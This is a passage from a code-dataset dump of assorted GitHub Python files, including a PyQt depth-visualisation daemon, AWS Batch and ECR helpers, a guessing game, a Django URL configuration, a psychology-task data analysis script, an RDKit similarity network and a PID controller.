'dmp_scale_lbl', 7, 0))\n self.create_slider(get_slider_widg_dict(Qt.Horizontal, 'dmp_scale', 6, 0))\n\n # endregion\n\n # region Sets up the depth data labels\n\n self.create_label(get_text_widg_dict('Average depth: 0.0 m', 'dmp_avg_lbl', 1, 1, 1, 3))\n self.create_label(get_text_widg_dict('Minimum depth: 0.0 m', 'dmp_min_lbl', 2, 1, 1, 3))\n self.create_label(get_text_widg_dict('Maximum depth: 0.0 m', 'dmp_max_lbl', 3, 1, 1, 3))\n\n # endregion\n\n # region Sets up the plots\n\n self.create_label(get_text_widg_dict('Grayscale', 'img_lbl', 0, 0))\n\n self.create_label(get_text_widg_dict('Point Cloud', 'dmp_lbl', 4, 0))\n\n self.scatter = pgl.GLScatterPlotItem(pos=np.zeros(shape=(307200, 3), dtype=float), size=3)\n self.img_item = pg.ImageItem()\n\n self.append_states(['point_cloud_initialize', 'image_initialize'])\n\n # region Colormap sliders\n\n self.update_slider_callback_valueChanged({\n 'name': 'cmap_max',\n 'method': lambda v:\n self.append_states([('update_label_text', {'name': 'cmap_max_lbl_val',\n 'value': '{} m'.format(round(v / self.slider_scale, 3))})])\n })\n self.update_slider_callback_sliderReleased({\n 'name': 'cmap_max',\n 'method': lambda: self.tx.put('slider cmap_max value', self.widgets['cmap_max'].value())\n })\n\n self.update_slider_callback_valueChanged({\n 'name': 'cmap_mid',\n 'method': lambda v:\n self.append_states([('update_label_text', {'name': 'cmap_mid_lbl_val',\n 'value': '{} m'.format(round(v / self.slider_scale, 3))})])\n })\n self.update_slider_callback_sliderReleased({\n 'name': 'cmap_mid',\n 'method': lambda: self.tx.put('slider cmap_mid value', self.widgets['cmap_mid'].value())\n })\n\n self.update_slider_callback_valueChanged({\n 'name': 'cmap_min',\n 'method': lambda v:\n self.append_states([('update_label_text', {'name': 'cmap_min_lbl_val',\n 'value': '{} m'.format(round(v / self.slider_scale, 3))})])\n })\n self.update_slider_callback_sliderReleased({\n 'name': 'cmap_min',\n 'method': lambda: self.tx.put('slider cmap_min value', self.widgets['cmap_min'].value())\n })\n\n # endregion\n\n self.update_slider_callback_valueChanged({\n 'name': 'dmp_scale',\n 'method': lambda v:\n self.widgets['dmp_scale_lbl'].setText('Depths Scale: {} x'.format(round(v / self.depth_slider_scale,\n 3)))\n })\n self.update_slider_callback_sliderReleased({\n 'name': 'dmp_scale',\n 'method': lambda: self.tx.put('slider dmp_scale value', self.widgets['dmp_scale'].value())\n })\n\n self.append_states([\n\n # region Sets the depth scale slider range and value\n\n ('update_slider_range',\n {\n 'name': 'dmp_scale',\n 'value': (1 * self.depth_slider_scale, self.depth_scale_max * self.depth_slider_scale)\n }),\n\n ('update_slider_value',\n {\n 'name': 'dmp_scale',\n 'value': self.depth_scale_max >> 1\n })\n\n # endregion\n ])\n\n self.window.show()\n\n print('Finished setting up the window')\n\n def reset_status(self):\n self.window.statusBar().showMessage('Ready')\n\n def display_img(self, img):\n self.widgets['img'].setImage(img)\n\n def display_cloud(self, data: dict):\n self.scatter.setData(pos=data['vectors'], color=data['colors'])\n\n def insert_roi(self, points: list):\n self.roi = pg.PolyLineROI(points, closed=True, movable=True, removable=False)\n self.widgets['img'].getView().addItem(self.roi)\n\n def process_roi(self, img):\n if self.roi is not None:\n roi_coords = self.roi.getArrayRegion(ct.get_roi_coords_matrix(img.shape[0], img.shape[1]),\n self.img_item)\n self.tx.put(JMsg('enable_roi', roi_coords))\n else:\n self.tx.put(JMsg('disable_roi'))\n\n def img_init(self):\n self.widgets['img'].addItem(self.img_item)\n\n def dmp_init(self):\n widg = self.widgets['dmp']\n widg.addItem(self.scatter)\n self.scatter.rotate(180, 0, 0, 0)\n self.scatter.setGLOptions('opaque')\n widg.pan(-320, -240, 0)\n widg.setCameraPosition(distance=1746, elevation=43, azimuth=-479)\n\n # region Control update\n\n def update_label_text(self, data: dict):\n name = data['name']\n value = data['value']\n self.widgets[name].setText(value)\n\n def update_widget_alignment(self, data):\n name = data['name']\n alignment = data['alignment']\n self.widgets[name].setAlignment(alignment)\n \n def update_slider_callback_sliderReleased(self, data: dict):\n name = data['name']\n cb = data['method']\n self.widgets[name].sliderReleased.connect(cb)\n self.tx.put(JMsg('slider ' + name + ' sliderReleased'))\n \n def update_slider_callback_valueChanged(self, data: dict):\n name = data['name']\n cb = data['method']\n self.widgets[name].valueChanged.connect(cb)\n self.tx.put(JMsg('slider ' + name + ' valueChanged'))\n \n def update_slider_range(self, data: dict):\n name = data['name']\n mn = data['value'][0]\n mx = data['value'][1]\n self.widgets[name].setRange(mn, mx)\n self.tx.put(JMsg('slider ' + name + ' range', (mn, mx)))\n\n def update_slider_val(self, data: dict):\n name = data['name']\n value = data['value']\n self.widgets[name].setValue(value)\n self.tx.put(JMsg('slider ' + name + ' value', value))\n\n # endregion\n","repo_name":"aaron-jencks/emerson_seed_object_detection","sub_path":"PyCharm/pmd_implementation/mvc_implementation/display_util/daemons.py","file_name":"daemons.py","file_ext":"py","file_size_in_byte":15417,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"4561966059","text":"import random\nprint(\"Welcome to the Number Guessing game.\")\ndef main():\n run_game()\n play_again()\n\ndef run_game():\n counter = 1\n random_no = random.randint(1,10)\n while counter > 0 and counter <=5:\n guess = int(input(\"Try to guess the number:\\n\"))\n if guess != random_no and guess > random_no:\n print(\"Wrong number.Try a lower value.\")\n counter += 1\n elif guess != random_no and guess < random_no:\n print(\"Wrong number.Try a higher value.\")\n counter += 1\n else:\n print(\"Well done! The number was \", str(random_no), \" and you did it in \" ,str(counter), \" attempts.\")\n \n play_again()\n \n if counter == 2:\n print(\"4 attempts left before the program ends.\")\n if counter == 3:\n print(\"3 attempts left before the program ends.\")\n if counter == 4:\n print(\"2 attempts left before the program ends.\")\n if counter == 5:\n print(\"1 attempt left before the program ends.\") \n\ndef play_again():\n while True:\n Q = input('Would you like to play again?(y/n):')\n if Q == 'y':\n main()\n if Q == 'n':\n exit() \n else:\n print(\"Invalid input\")\nmain()\n","repo_name":"SYK-08/Guess-the-number","sub_path":"NumberGuess2.py","file_name":"NumberGuess2.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8541393182","text":"import base64\nimport pkg_resources\nfrom getpass import getuser\nimport six\n\nfrom botocore.exceptions import ClientError\nimport boto3 as b3\n\nfrom disdatluigi import logger as _logger\nfrom disdat.utility.aws_s3 import profile_get_region\n\ndef batch_get_job_definition_name(pipeline_image_name):\n \"\"\"Get the most recent active AWS Batch job definition for a dockerized\n pipeline.\n\n Note: The Python getpass docs do not specify the exception thrown when getting the user name fails.\n\n \"\"\"\n\n try:\n return '{}-{}-job-definition'.format(getuser(), pipeline_image_name)\n except Exception as e:\n return '{}-{}-job-definition'.format('DEFAULT', pipeline_image_name)\n\n\ndef batch_get_latest_job_definition(job_definition_name):\n \"\"\"Get the most recent active revision number for a AWS Batch job\n definition\n\n Args:\n job_definition_name: The name of the job definition\n remote_pipeline_image_name:\n vcpus:\n memory:\n\n Return:\n The latest job definition dictionary or `None` if the job definition does not exist\n \"\"\"\n region = profile_get_region()\n client = b3.client('batch', region_name=region)\n response = client.describe_job_definitions(jobDefinitionName=job_definition_name, status='ACTIVE')\n if response['ResponseMetadata']['HTTPStatusCode'] != 200:\n raise RuntimeError(\n 'Failed to get job definition revisions for {}: HTTP Status {}'.format(job_definition_name, response['ResponseMetadata']['HTTPStatusCode'])\n )\n job_definitions = response['jobDefinitions']\n revision = 0\n job_def = None\n for j in job_definitions:\n if j['jobDefinitionName'] != job_definition_name:\n continue\n if j['revision'] > revision:\n revision = j['revision']\n job_def = j\n\n return job_def\n\n\ndef batch_extract_job_definition_fqn(job_def):\n revision = job_def['revision']\n name = job_def['jobDefinitionName']\n return '{}:{}'.format(name, revision)\n\n\ndef batch_get_job_definition(job_definition_name):\n \"\"\"Get the most recent active revision number for a AWS Batch job\n definition\n\n Args:\n job_definition_name: The name of the job definition\n\n Return:\n The fully-qualified job definition name with revision number, or\n `None` if the job definition does not exist\n \"\"\"\n job_def = batch_get_latest_job_definition(job_definition_name)\n\n if job_def is None:\n return None\n else:\n return batch_extract_job_definition_fqn(job_def)\n\n\ndef batch_register_job_definition(job_definition_name, remote_pipeline_image_name,\n vcpus=1, memory=2000, job_role_arn=None):\n \"\"\"Register a new AWS Batch job definition.\n\n Args:\n job_definition_name: The name of the job definition\n remote_pipeline_image_name: The ECR Docker image to load to run jobs\n using this definition\n vcpus: The number of vCPUs to use to run jobs using this definition\n memory: The amount of memory in MiB to use to run jobs using this\n definition\n job_role_arn (str): Can be None\n \"\"\"\n\n container_properties = {\n 'image': remote_pipeline_image_name,\n 'vcpus': vcpus,\n 'memory': memory,\n }\n\n if job_role_arn is not None:\n container_properties['jobRoleArn'] = job_role_arn\n\n region = profile_get_region()\n client = b3.client('batch', region_name=region)\n response = client.register_job_definition(\n jobDefinitionName=job_definition_name,\n type='container',\n containerProperties=container_properties\n )\n if response['ResponseMetadata']['HTTPStatusCode'] != 200:\n raise RuntimeError('Failed to create job definition {}: HTTP Status {}'.format(job_definition_name, response['ResponseMetadata']['HTTPStatusCode']))\n\n return response\n\n\ndef ecr_create_fq_respository_name(repository_name, policy_resource_package=None, policy_resource_name=None):\n ecr_client = b3.client('ecr', region_name=profile_get_region())\n # Create or fetch the repository in AWS (to store the image)\n try:\n response = ecr_client.create_repository(\n repositoryName=repository_name\n )\n repository_metadata = response['repository']\n # Set the policy on the repository\n if policy_resource_package is not None and policy_resource_name is not None:\n policy = pkg_resources.resource_string(policy_resource_package.__name__, policy_resource_name)\n _ = ecr_client.set_repository_policy(\n registryId=repository_metadata['registryId'],\n repositoryName=repository_name,\n policyText=policy,\n force=True\n )\n except ClientError as e:\n if e.response['Error']['Code'] == 'RepositoryAlreadyExistsException':\n response = ecr_client.describe_repositories(\n repositoryNames=[repository_name]\n )\n repository_metadata = response['repositories'][0]\n elif e.response['Error']['Code'] == 'AccessDeniedException':\n _logger.warn(\"Error [AccessDeniedException] when creating repo {}, trying to continue...\".format(repository_name))\n else:\n raise e\n return repository_metadata['repositoryUri']\n\n\ndef ecr_get_fq_repository_name(repository_name):\n return ecr_create_fq_respository_name(repository_name)\n\n\ndef ecr_get_auth_config():\n ecr_client = b3.client('ecr', region_name=profile_get_region())\n # Authorize docker to push to ECR\n response = ecr_client.get_authorization_token()\n if response['ResponseMetadata']['HTTPStatusCode'] != 200:\n raise RuntimeError('Failed to get AWS ECR authorization token: HTTP Status {}'.format(response['ResponseMetadata']['HTTPStatusCode']))\n token = response['authorizationData'][0]['authorizationToken']\n\n token_bytes = six.b(token)\n\n token_decoded_bytes = base64.b64decode(token_bytes)\n\n token_decoded_str = token_decoded_bytes.decode('utf8')\n\n username, password = token_decoded_str.split(':')\n\n return {'username': username, 'password': password}\n","repo_name":"kyocum/disdat-luigi","sub_path":"disdatluigi/utility/aws_batch.py","file_name":"aws_batch.py","file_ext":"py","file_size_in_byte":6154,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"2148530245","text":"year = int(input(\"In which year you loking for easter : \"))\na = year % 19\nb = year % 4\nc = year % 7\nd = (19 * a + 24) % 30\ne = ((2 * b) + (4 * c) + (6 * d) + 5) % 7\ndateofeaster = 22 + d + e\nif (e == 6 ) and (d == 28 ):\n dateofeaster = 50\n if (e == 6) and (d == 29) and (a > 10):\n dateofeaster = 49\n else:\n dateofeaster = 22 + d + e\nif dateofeaster > 31:\n print(\"April \" , (dateofeaster - 31))\nelse:\n print(\"March\" , dateofeaster)\n","repo_name":"MBWalter/Orientation_Week","sub_path":"using_if_4.py","file_name":"using_if_4.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13305784071","text":"#-*-coding:euc-kr\n\nimport pyexcel.cookbook as pc\nimport sys\nfrom euc_to_utf import change_form\n\n\n# pip install pyexcel pyexcel-xlsx\n# pyexcel은 utf8인코딩 사용. 윈도우는 주로 euc-kr 사용.\n\nprint(\"작업 ㄱㄱ\")\n\n# sys.argv는 인자를 입력받아줌. 아래와 같이 명령어로 실행\n# python s3_csv_to_xlsx.py merge_ID.csv test.xlsx\ninput_file=sys.argv[1]\nresult_file=sys.argv[2]\n\nprint(input_file)\nprint(type(input_file))\n\n# pyexcel이 기본적으로 제공해주는 함수\n# 인코딩 문제 있을 시 여기서부터 오류처리 필요\n\ntry:\n pc.merge_all_to_a_book([input_file], result_file)\nexcept UnicodeDecodeError:\n change_form(input_file)\n input_file=\"utf8_\" + input_file\n pc.merge_all_to_a_book([input_file], result_file)\n\nprint(\"작업 끝남\")","repo_name":"winty95/automatic_work_practice","sub_path":"ch3_merge_file/s5_csv_to_xlsx.py","file_name":"s5_csv_to_xlsx.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41510568659","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\n\nfrom institute import views\n\nrouter = DefaultRouter()\n\nurlpatterns = [\n path('', views.institute_list),\n path('<int:id>', views.institute_detail),\n path('<uuid:id>', views.institute_detail_by_uid),\n path('department/', views.department_list),\n path('department/attatch/<uuid:id>', views.attatch_department_to_institute),\n path('department/find/<uuid:id>', views.get_departments_by_institute),\n path('department/<int:id>', views.department_actions)\n]\n","repo_name":"neilsadev/st_manage","sub_path":"app/institute/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26870633715","text":"'''\nBefore running this file, please check:\n1) all the participant and session information on the FILENAMES are correct.\n2) all the participant and session information in the file are stroed under correct columns.\n3) logs with wrong data are not in the data directory if you want to run in batch\n4) this file can handle single data log\n'''\n\n# raw data directory\n# i.e. DATA_DIR = 'R:\\LabData\\CohortData\\TaskSwitch\\*_taskswitching*.csv'\nDATA_DIR = 'R:\\\\Cohort_2016-2017\\\\MindWanderingTask_psychopy\\\\data_mindwandering_CS201617\\\\5*_mindwandering_CS201617*_data.csv'\n\n# results \n# i.e. RESULT_DIR = 'U:\\Projects\\CS_Analysis\\Results'\nRESULT_DIR = 'U:\\\\Projects\\\\CS3_Analysis\\\\Results'\n\n# task name. use in the result output file\nEXPNAME = 'MindWandering'\n\n# Are you only analysing a sub set?\nsubset = True\n\n# A list of participant number\n# this only applies when you wish to analyse a subset\n# This must match the IDs on the csv filename\nPPT_ID = [500, 501, 502, 503]\n################################################ Advanced settings. #################################################\n'''\nThese variables have already been set for the analysis. No cofiguration required. \n'''\n\n# the list of lable name(s) for independent varable(s) you care in your files\n# i.e. multiple variables: Label_IV = ['dimension', 'CSI', 'type']\n# i.e. only one variables: Label_IV = ['dimension']\nLabel_IV = ['nBack', 'stimType', 'mwType'] \n\n# the list of lable name(s) for dependent varable(s) you care in your files\n# i.e. multiple variables: Label_DV = ['resp.rt', 'resp.corr']\n# i.e. only one variables: Label_DV = ['resp.rt']\nLabel_DV = ['keyResp', 'respRT', 'respCORR']\n\n# the lable name for indexing the data, such as participant id or session number in a file\n# i.e. Lable_id = ['participant']\n# if there are more than one variable, please keep participant number as the first one\nLable_idx = ['IDNO', 'Session']\n################################################ Do not change things below this line. ################################################ \n\n################################################ Load ExpAnalysis.py ################################################ \nimport pandas as pd \nimport numpy as np \nimport glob, os, sys, errno\nimport itertools\n\ndef get_DIRs(DATA_DIR, subset, PPT_ID):\n\t'''\n\tDATA_DIR: string; \n\traw data directory with filename patten; \n\ti.e. DATA_DIR = 'R:\\LabData\\CohortData\\TaskSwitch\\*_taskswitching*.csv'\n\n\tsubset: True or False; \n\tTrue if you are only analysing some participants\n\n\tPPT_ID: list\n\tA list of participant number; This must match the IDs on the csv filename\n\n\t'''\n\tDATA_DIR = sorted(glob.glob(DATA_DIR))\n\tif subset:\n\t\tcheck_id = []\n\t\tfor d in DATA_DIR:\n\t\t\tcheck_id.append(int(d.split(os.sep)[-1].split('_')[0]))\n\t\tcheck_id = sorted(check_id)\n\n\t\tif set(PPT_ID).issubset(check_id)==False:\n\t\t\tsys.exit('The participant ID list and the log files doesn\\'t match. Please check your data under %s and variable PPT_ID.' %DATA_DIR)\n\n\t\tDIRs = []\n\t\tfor d in DATA_DIR:\n\t\t\tcur_id = int(d.split(os.sep)[-1].split('_')[0])\n\t\t\tif cur_id in PPT_ID:\n\t\t\t\tDIRs.append(d)\n\n\telse:\n\t\tDIRs = DATA_DIR\n\n\treturn DIRs\n\n\ndef concat_data_csvs(DIRs, Lable_idx, Label_IV, Label_DV):\n\t'''\n\tThe IDs on the csv filename must be correct.\n\tThe filename should be: [PPT_ID]_[SESSION]_[otherStuff].csv\n\n\tDIRs: list;\n\ta list of file paths\n\n\tLable_idx: list\n\tthe lable name for indexing the data, such as participant id or session number in a file\n\ti.e. Lable_id=['participant']\n\tif there are more than one variable, please keep participant number as the first one\t\n\tthe list of lable name(s) for independent varable(s) you care in your files\n\n\tLabel_IV: list\n\ti.e. multiple variables: Label_IV=['dimension', 'CSI', 'type']\n\ti.e. only one variables: Label_IV=['dimension']\n\t\n\tLabel_DV: list\n\tthe list of lable name(s) for dependent varable(s) you care in your files\n\ti.e. multiple variables: Label_DV=['resp.rt', 'resp.corr']\n\ti.e. only one variables: Label_DV=['resp.rt']\n\n\t'''\n\tdef label_check(DIRs, Label_var):\n\n\t\t#load a dummy file to check the informations\n\t\ttmp_dat = pd.read_csv(DIRs[0], sep=',', header=0)\n\t\ttmp_keys = tmp_dat.keys().values.tolist()\n\t\tif set(Label_var).issubset(tmp_keys):\n\t\t\tpass\n\t\telse:\n\t\t\tsys.exit('Some label(s) do not exist in file %s. Are you sure all the variables are correctly spelt?' %DIRs[0])\n\n\tLabel_var = Label_IV + Label_DV + Lable_idx\n\n\tlabel_check(DIRs, Label_var)\n\n\t# create a empty entry for storing data frames\n\tdf_collect = dict()\n\tfor p in DIRs:\n\n\t\t# get rt, acc, condition information\n\t\tdf_cur = pd.read_csv(p, sep=',', header=0)\n\t\tif set(Label_var).issubset(df_cur.keys().values.tolist()):\n\t\t\tdf_cur_dat = df_cur[Label_var]\n\t\telse: \n\t\t\tfor v in Label_var:\n\t\t\t\tif set(v).issubset(df_cur.keys().values.tolist()):\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tdf_cur_dat[v] = None # create empty varaible for missing variables\n\n\t\t# get id\n\t\t# use the id on the file name as the acutal id\n\t\tcur_id = int(p.split(os.sep)[-1].split('_')[0])\n\t\tif len(Lable_idx) > 0:\n\t\t\tdf_cur_dat[Lable_idx[0]] = list(itertools.repeat(cur_id, df_cur_dat.shape[0]))\n\t\telse:\n\t\t\tdf_cur_dat['IDNO'] = list(itertools.repeat(cur_id, df_cur_dat.shape[0]))\n\n\t\t# save the participant's data to a dictionary\n\t\tdf_collect[p.split(os.sep)[-1]] = df_cur_dat\n\t\t\n\treturn pd.concat(df_collect, axis=0) # concatenate all the dataframes into long form\n\ndef save_csv(df, RESULT_DIR, EXPNAME, FILENAME): \n\t'''\n\tsave a panda dataframe as a csv file\n\t'''\n\t# check if there's a result directory\n\ttry:\n\t os.makedirs(RESULT_DIR)\n\texcept OSError as exception:\n\t if exception.errno != errno.EEXIST:\n\t raise \n\t#dump to disc\n\tdf.to_csv(RESULT_DIR + os.sep + EXPNAME + '_' + FILENAME + '.csv', index=True)\n\n#####################################################CONCATENATE FILES#######################################################\n# concatenate files\nDIRs = get_DIRs(DATA_DIR, subset, PPT_ID)\ndf_long = concat_data_csvs(DIRs, Lable_idx, Label_IV, Label_DV)\n# Debug\n# save_csv(df_long, RESULT_DIR, EXPNAME, FILENAME='long')\n\n#####################################################RUN ANALYSIS#######################################################\n\n# summary wide data\n\n# behavioural\ndf_taskperformance = pd.pivot_table(df_long.query('stimType == \"TT\"'), values=['respRT', 'respCORR'], index=Lable_idx,\n\t\tcolumns=['nBack'], aggfunc=np.mean)\nnew_col = []\nfor col in df_taskperformance.columns.values:\n\tdv_type = col[0]\n\tif dv_type=='respRT':\n\t\tdv_type = 'RT'\n\telse:\n\t\tdv_type = 'ACC'\n\tcond = '%iBACK' %int(col[1])\n\ttry:\n\t\tcur_var = '_'.join([cond, dv_type])\n\texcept TypeError:\n\t\tcur_var = '_'.join([cond, dv_type])\n\tnew_col.append(cur_var)\n\ndf_taskperformance.columns = new_col\n\n\nif len(DIRs)==1:\n\tppt = (df_long.participant.values[0])\n\tFILENAME = 'behaviour_summary_' + str(ppt)\n\tsave_csv(df_taskperformance, RESULT_DIR, EXPNAME, FILENAME)\nelse: \n\tFILENAME = 'behaviour_summary' \n\tsave_csv(df_taskperformance, RESULT_DIR, EXPNAME, FILENAME)\n\n# Mind-wandering\nMWQ_inc = ['MWQ', 'END']\ndf_MWQ = df_long.query('stimType in @MWQ_inc')\ndf_MWQ.keyResp = list(map(int, df_MWQ.keyResp.values))\n\nMWQ_idx = []\nprev_IDNO = 0\nfor index, row in df_MWQ.iterrows():\n\tcur_IDNO = row.IDNO\n\tcur_sess = row.Session\n\tif row.mwType == 'Focus':\n\t\tif prev_IDNO != cur_IDNO or prev_sess != cur_sess: \n\t\t\ti = 1\n\t\telse: \n\t\t\ti += 1\n\n\t\tMWQ_idx.append(i)\n\telif row.stimType == 'MWQ' :\n\t\tMWQ_idx.append(i)\n\telse:\n\t\tMWQ_idx.append(99)\n\tprev_IDNO = row.IDNO\n\tprev_sess = row.Session\n\ndf_MWQ['MWQ_idx'] = MWQ_idx\nLable_idx.append('MWQ_idx')\nLable_idx.append('nBack')\n\ndf_MWQ = pd.pivot_table(df_MWQ, values=['keyResp', 'respRT'], index=Lable_idx,\n\tcolumns=['mwType'])\n\nnew_col = []\nfor col in df_MWQ.columns.values:\n\tdv_type = col[0]\n\tcond = col[1]\n\tif dv_type=='respRT':\n\t\tdv_type = 'RT'\n\t\tcur_var = '_'.join(['MWQ', cond, dv_type])\n\telse:\n\t\tcur_var = '_'.join(['MWQ', cond])\n\t\n\tnew_col.append(cur_var)\n\ndf_MWQ.columns = new_col\n\nif len(DIRs)==1:\n\tppt = (df_long.participant.values[0])\n\tFILENAME = 'MWQ_RAW_' + str(ppt)\n\tsave_csv(df_MWQ, RESULT_DIR, EXPNAME, FILENAME)\nelse: \n\tFILENAME = 'MWQ_RAW' \n\tsave_csv(df_MWQ, RESULT_DIR, EXPNAME, FILENAME)\n","repo_name":"htwangtw/MindWanderingTask","sub_path":"mindwandering_analysis.py","file_name":"mindwandering_analysis.py","file_ext":"py","file_size_in_byte":8093,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"11622271778","text":"# handle image conversion\nimport networkx as nx\nfrom networkx.readwrite import cytoscape_data\nfrom rdkit import Chem\nfrom rdkit.Chem import RDConfig\nfrom rdkit.Chem import AllChem\nfrom rdkit.Chem import DataStructs\nfrom rdkit.Chem.Draw import rdMolDraw2D\nimport os\nfrom urllib import parse\nimport ipycytoscape\n\ndef smi2svg(smi):\n mol = Chem.MolFromSmiles(smi)\n try:\n Chem.rdmolops.Kekulize(mol)\n except:\n pass\n drawer = rdMolDraw2D.MolDraw2DSVG(500, 300)\n AllChem.Compute2DCoords(mol)\n drawer.DrawMolecule(mol)\n drawer.FinishDrawing()\n svg = drawer.GetDrawingText().replace(\"svg:\", \"\")\n return svg\n\ndef smi2image(smi):\n svg_string = smi2svg(smi)\n impath = 'data:image/svg+xml;charset=utf-8,' + parse.quote(svg_string, safe=\"\")\n return impath\n\n# load SMILES file \n# format: 1st column SMILES | 2nd column compound name\nsmis, nams, label = [], [] ,[]\nwith open(\"sample.smi.txt\", 'r') as smi_nam_list:\n for smi_nam in smi_nam_list:\n smis.append(smi_nam.rstrip().split('\\t')[0])\n nams.append(smi_nam.rstrip().split('\\t')[1]) \n label.append(smi_nam.rstrip().split('\\t')[2]) \nprint(label)\nprint(smis)\nprint(str(len(smis))+\" molecules loaded from SMILES file\")\ng = nx.Graph()\n\n# add node\nfor smi, nam, label in zip(smis, nams, label):\n #print(smi,nam)\n g.add_node(smi, img=smi2image(smi), name=nam, label=label)\n\n# add edge if Tc >= threshold\nmols = [Chem.MolFromSmiles(x) for x in smis]\nfps = [AllChem.GetMorganFingerprintAsBitVect(x,3,2048) for x in mols]\nfor i in range(len(smis)):\n for j in range(i):\n Tc = DataStructs.TanimotoSimilarity(fps[i], fps[j])\n ### Pick the threshold default is 0.5\n if Tc >= 0.5:\n g.add_edge(smis[i], smis[j])\n\nSimilarity_Graph= ipycytoscape.CytoscapeWidget()\nSimilarity_Graph.graph.add_graph_from_networkx(g)\nSimilarity_Graph.set_style([\n {\n \"selector\": \"node[label = 'active']\",\n \"style\": {\n \"font-family\": 'helvetica',\n \"content\": \"data(name)\",\n 'width': 800,\n 'height': 300,\n 'shape': 'rectangle',\n 'background-image': 'data(img)',\n \"font-size\": \"60px\",\n 'border-opacity': 0,\n 'border-width': 0.0,\n 'background-fit': 'contain',\n \"border-color\": \"green\", # Color for active compounds\n 'background-color': 'green',\n \"border-width\": 3\n }\n },\n {\n \"selector\": \"node[label = 'inactive']\",\n \"style\": {\n \"font-family\": 'helvetica',\n \"content\": \"data(name)\",\n 'width': 800,\n 'height': 300,\n 'shape': 'circle',\n 'background-image': 'data(img)',\n \"font-size\": \"50px\",\n 'border-opacity': 0,\n 'border-width': 0.0,\n 'background-fit': 'contain',\n \"border-color\": \"red\", # Color for inactive compounds\n 'background-color': 'red',\n \"border-width\": 3\n }\n },\n {\n \"selector\": \"node[label = 'intermediate']\",\n \"style\": {\n \"font-family\": 'helvetica',\n \"content\": \"data(name)\",\n 'width': 800,\n 'height': 300,\n 'shape': 'hexagon',\n 'background-image': 'data(img)',\n \"font-size\": \"50px\",\n 'border-opacity': 0,\n 'border-width': 0.0,\n 'background-fit': 'contain',\n \"border-color\": \"blue\", # Color for inactive compounds\n 'background-color': 'blue',\n \"border-width\": 3\n }\n }\n])\n\n\nSimilarity_Graph.set_layout(name='klay', padding=2,nodeSpacing=85)\ndisplay(Similarity_Graph) \n","repo_name":"abhik1368/Comp_Chem","sub_path":"Rdkit_Uses/Activity_networks.py","file_name":"Activity_networks.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"522040579","text":"# class PID_Controller:\r\n# def __init__(self, Kp, Ki, Kd, target_position):\r\n# self.Kp = Kp\r\n# self.Ki = Ki\r\n \r\n# self.Kd = Kd\r\n# self.target_position = target_position\r\n# self.integral_error = 0\r\n# self.previous_error = 0\r\n\r\n# def cal_output(self, current_position, dt):\r\n \r\n# error = self.target_position - current_position\r\n\r\n# P = self.Kp * error\r\n# self.integral_error += error * dt \r\n \r\n# I = self.Ki * self.integral_error # integ. term\r\n# D = self.Kd * (error - self.previous_error) / dt #def. term\r\n\r\n# control_output = P + I + D\r\n\r\n\r\n# control_output = max(min(control_output, MAX_OUTPUT), MIN_OUTPUT)\r\n\r\n# self.previous_error = error\r\n\r\n# return control_output\r\n\r\n\r\n# MAX_OUTPUT = 100.0\r\n\r\n# MIN_OUTPUT = -100.0\r\n\r\n# # Ex\r\n# target_position = 100.0\r\n# controller = PID_Controller(Kp=0.1, Ki=0.01, Kd=0.05, target_position=target_position)\r\n\r\n# current_position = 0.0\r\n# sample_time = 0.01 #control loop rate\r\n# for _ in range(100):\r\n# control_output = controller.cal_output(current_position, sample_time)\r\nimport numpy as np\r\n\r\nclass KinematicModel:\r\n def __init__(self):\r\n self.theta1 = 0\r\n self.theta2 = 120\r\n self.theta3 = 240\r\n self.radius = 0.2\r\n\r\n # Co eff matrix for V resalution\r\n self.arr = np.array([\r\n [np.cos((self.theta1 + 90) * (np.pi / 180)), np.cos((self.theta2 + 90) * (np.pi / 180)),\r\n np.cos((self.theta3 + 90) * (np.pi / 180))],\r\n [np.sin((self.theta1 + 90) * (np.pi / 180)), np.sin((self.theta2 + 90) * (np.pi / 180)),\r\n np.sin((self.theta3 + 90) * (np.pi / 180))],\r\n [1 / self.radius, 1 / self.radius, 1 / self.radius]\r\n ])\r\n\r\n def resolve_velocity(self, Vx, Vy, w):\r\n velocity = np.array([[Vx], [Vy], [w]])\r\n v1, v2, v3 = np.matmul(np.linalg.pinv(self.arr), velocity)\r\n return v1[0], v2[0], v3[0]\r\n\r\n def calculate_pwm(self, v1, v2, v3):\r\n max_rpm = 1500\r\n pwm_1 = v1 * 255 / max_rpm\r\n pwm_2 = v2 * 255 / max_rpm\r\n \r\n pwm_3 = v3 * 255 / max_rpm\r\n return pwm_1, pwm_2, pwm_3\r\n\r\nclass PID_Controller:\r\n def __init__(self, Kp, Ki, Kd, target_position):\r\n self.Kp = Kp\r\n \r\n self.Ki = Ki\r\n \r\n self.Kd = Kd\r\n self.target_position = target_position\r\n self.integral_error = 0\r\n self.previous_error = 0\r\n\r\n def calculate_output(self, current_position, dt):\r\n error = self.target_position - current_position\r\n\r\n P = self.Kp * error\r\n \r\n self.integral_error += error * dt \r\n \r\n I = self.Ki * self.integral_error# integ. term\r\n D = self.Kd * (error - self.previous_error) / dt# def. term\r\n\r\n control_output = P + I + D\r\n control_output = max(min(control_output, MAX_OUTPUT), MIN_OUTPUT)\r\n\r\n self.previous_error = error\r\n\r\n return control_output\r\n\r\nMAX_OUTPUT = 100.0\r\nMIN_OUTPUT = -100.0\r\n\r\n# Ex\r\nif __name__ == \"__main__\":\r\n kinematic_model = KinematicModel()\r\n Vx = 